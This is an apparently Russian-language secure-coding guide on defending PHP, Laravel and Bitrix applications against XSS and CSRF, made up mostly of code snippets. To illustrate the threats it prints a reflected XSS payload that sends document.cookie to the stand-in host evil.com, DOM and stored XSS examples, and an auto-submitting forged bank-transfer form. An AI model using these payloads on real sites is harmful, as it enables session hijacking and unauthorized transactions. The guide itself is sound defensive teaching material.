CSRF и XSS: защита в PHP-приложениях

// ❌ Опасно — данные выводятся без экранирования
<h1>Привет, <?= $_GET['name'] ?>!</h1>

// URL: /profile?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

https://site.com/search?q=<script>alert('XSS')</script>

// Комментарий с XSS сохраняется в базу
$comment = $_POST['comment']; // <script>...</script>
$db->insert('comments', ['text' => $comment]);

// И выводится всем посетителям
foreach ($comments as $c) {
    echo "<p>{$c['text']}</p>"; // ❌ XSS выполняется
}

// ❌ Опасно
document.getElementById('output').innerHTML = location.hash.slice(1);

// URL: /page#<img src=x onerror=alert('XSS')>

// PHP
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// Laravel Blade — автоматически экранирует
{{ $userInput }}  // ✅ Безопасно
{!! $userInput !!}  // ❌ Опасно — сырой HTML

// Битрикс
echo htmlspecialcharsbx($userInput);

// PHP — заголовок
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");

# nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self'";

// Cookies недоступны из JavaScript
setcookie('session', $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict',
]);

// Laravel
'session' => [
    'http_only' => true,
    'secure' => true,
    'same_site' => 'strict',
],

// Используйте проверенные библиотеки
use HTMLPurifier;

$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,a[href],ul,ol,li');
$purifier = new HTMLPurifier($config);

$clean = $purifier->purify($dirtyHtml);

// Blade автоматически экранирует
{{ $user->name }}  // ✅ htmlspecialchars()

// Но есть опасные конструкции
{!! $user->bio !!}  // ❌ Сырой HTML

// Валидация
$request->validate([
    'name' => 'required|string|max:255',
    'bio' => 'nullable|string|max:1000',
]);

// Санитизация при сохранении
$user->bio = strip_tags($request->bio, '<p><b><i>');

// ❌ Опасно
echo $_REQUEST['search'];

// ✅ Безопасно
echo htmlspecialcharsbx($_REQUEST['search']);

// Или через Битрикс API
use Bitrix\Main\Text\HtmlFilter;
echo HtmlFilter::encode($_REQUEST['search']);

// В компонентах — всегда экранируйте в template.php
<h1><?= htmlspecialcharsbx($arResult['NAME']) ?></h1>

<!-- Страница злоумышленника -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />

<!-- Или форма, которая отправляется автоматически -->
<form action="https://bank.com/transfer" method="POST" id="evil-form">
  <input type="hidden" name="to" value="hacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('evil-form').submit();</script>

// Генерация токена
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Форма
<form method="POST">
  <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>" />
  ...
</form>

// Проверка
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    http_response_code(403);
    die('CSRF token mismatch');
}

setcookie('session', $value, [
    'samesite' => 'Strict', // или 'Lax'
    'secure' => true,
    'httponly' => true,
]);

$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';

$allowedOrigins = ['https://mysite.com'];

if (!in_array($origin, $allowedOrigins)) {
    // Проверяем Referer как fallback
    $refererHost = parse_url($referer, PHP_URL_HOST);
    if ($refererHost !== 'mysite.com') {
        http_response_code(403);
        die('Invalid origin');
    }
}

// В форме — директива @csrf
<form method="POST" action="/profile">
    @csrf
    <input type="text" name="name" />
    <button type="submit">Сохранить</button>
</form>

// Для AJAX — токен в meta-теге
<meta name="csrf-token" content="{{ csrf_token() }}">

// И в JavaScript
axios.defaults.headers.common['X-CSRF-TOKEN'] = 
    document.querySelector('meta[name="csrf-token"]').content;

// app/Http/Middleware/VerifyCsrfToken.php
protected $except = [
    'api/*',           // API использует токены/JWT
    'webhook/stripe',  // Внешние webhook'и
];

// Генерация токена
$sessid = bitrix_sessid();

// В форме
<form method="POST">
    <?= bitrix_sessid_post() ?>
    <!-- или -->
    <input type="hidden" name="sessid" value="<?= bitrix_sessid() ?>" />
</form>

// Проверка
if (!check_bitrix_sessid()) {
    die('CSRF token invalid');
}

// Для AJAX
BX.ajax.runAction('module:controller.action', {
    sessid: BX.bitrix_sessid(),
    data: { /* ... */ }
});

// Laravel
<form method="POST" action="{{ route('profile.update') }}">
    @csrf
    <input 
        type="text" 
        name="name" 
        value="{{ old('name', $user->name) }}"
        maxlength="255"
    />
    <textarea 
        name="bio" 
        maxlength="1000"
    >{{ old('bio', $user->bio) }}</textarea>
    <button type="submit">Сохранить</button>
</form>

// Контроллер
public function update(Request $request)
{
    $validated = $request->validate([
        'name' => 'required|string|max:255',
        'bio' => 'nullable|string|max:1000',
    ]);
    
    // Дополнительная санитизация для bio
    $validated['bio'] = strip_tags($validated['bio'], '<p><b><i><a>');
    
    $request->user()->update($validated);
    
    return back()->with('success', 'Профиль обновлён');
}